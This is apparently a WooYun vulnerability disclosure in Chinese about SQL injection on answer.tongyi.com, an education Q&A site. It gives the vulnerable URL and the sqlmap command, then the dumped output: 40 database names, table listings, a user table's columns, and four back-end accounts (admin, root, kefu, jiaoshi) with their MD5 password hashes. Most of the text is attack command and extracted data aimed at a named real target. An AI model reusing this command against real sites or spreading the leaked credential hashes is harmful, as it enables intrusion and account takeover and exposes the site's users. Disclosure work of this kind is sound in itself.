WooYun.org

注入点：
http://answer.tongyi.com/index.php/question/xxmyask?id=57664
跑库（40个库任意跨，权限很大）：
./sqlmap.py -u "http://answer.tongyi.com/index.php/question/xxmyask?id=57664" --dbs
available databases [40]:
[*] 114
[*] activity
[*] agent
[*] agent_new
[*] answer
[*] babyalliance
[*] cnwodunet
[*] common_info
[*] dlpld_class
[*] domain
[*] donggang_class
[*] finance
[*] global_logs
[*] info
[*] information_schema
[*] jnlndx
[*] kfportal
[*] mambo
[*] mysql
[*] newanswer
[*] phpmyadmin
[*] publish
[*] qhdedu_class
[*] secretary
[*] sfp
[*] subclass
[*] teacher_plus_plus
[*] tmp
[*] tongyi
[*] tutor
[*] tyeduplatform
[*] uploadfile
[*] videoconf
[*] vote
[*] vs_message
[*] vsedu
[*] waptongyi
[*] wodunet
[*] zhibo
[*] zhishiren
跑tongji库：
Database: tongyi
[16 tables]
+--------------------+
| advice_tb |
| agent_city_tb |
| agent_cityadmin_tb |
| agent_deposit_log |
| agent_deposit_tb |
| agent_info_tb |
| agent_notice_tb |
| agent_recommend_tb |
| system_log_tb |
| system_manager_tb |
| u_achievement_log |
| u_achievement_tb |
| u_box_info_tb |
| u_card_tb |
| u_change_card_tb |
| u_send_card_tb |
+--------------------+
跑114库：
Database: 114
[17 tables]
+---------------------------+
| 114_admin_tb |
| 114_answer_tb |
| 114_ask_tb |
| 114_black_tb |
| 114_complaint_tb |
| 114_expert_answer_tb |
| 114_expert_ask_tb |
| 114_expert_complain_tb |
| 114_expert_refuse_tb |
| 114_expert_score_tb |
| 114_expert_stu_subject_tb |
| 114_expert_tb |
| 114_notice_tb |
| 114_score_log_tb |
| 114_type_tb |
| 114_user_login_tb |
| 114_user_tb |
+---------------------------+
跑newanswer库：
newanswer
Database: newanswer
[21 tables]
+------------------------------+
| new_acl |
| new_acl_data |
| new_acl_files |
| new_acl_group |
| new_answer_fee_log |
| new_answer_num_tb |
| new_api_answer_browse_record |
| new_chase_question |
| new_error_user |
| new_grade |
| new_manager |
| new_point |
| new_question |
| new_subject |
| new_teacher |
| new_teacher_v |
| new_tixing |
| new_user |
| new_wdb_admin_log |
| new_wdb_admin_module |
| new_wdb_user |
+------------------------------+
跑用户字段：
Table: new_wdb_user
[12 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| create_date | int(50) |
| create_user | varchar(64) |
| last_login | int(11) |
| last_login_ip | varchar(32) |
| nick_name | varchar(255) |
| nol_login_ip | varchar(32) |
| now_login | int(11) |
| passwd | varchar(32) |
| role | varchar(50) |
| status | tinyint(4) |
| user_id | int(11) |
| user_name | varchar(64) |
+---------------+--------------+
跑后台用户，密码
Table: new_wdb_user
[4 entries]
+----------------------------------+-----------+
| passwd | user_name |
+----------------------------------+-----------+
| 0444e11e0501438bda1af664f36974de | kefu |
| 21232f297a57a5a743894a0e4a801fc3 | admin |
| 51d9aa337ee87f27b935c027967eb1a8 | jiaoshi |
| 77d55b83f614088e43f70149c78cea6f | root |
+----------------------------------+-----------+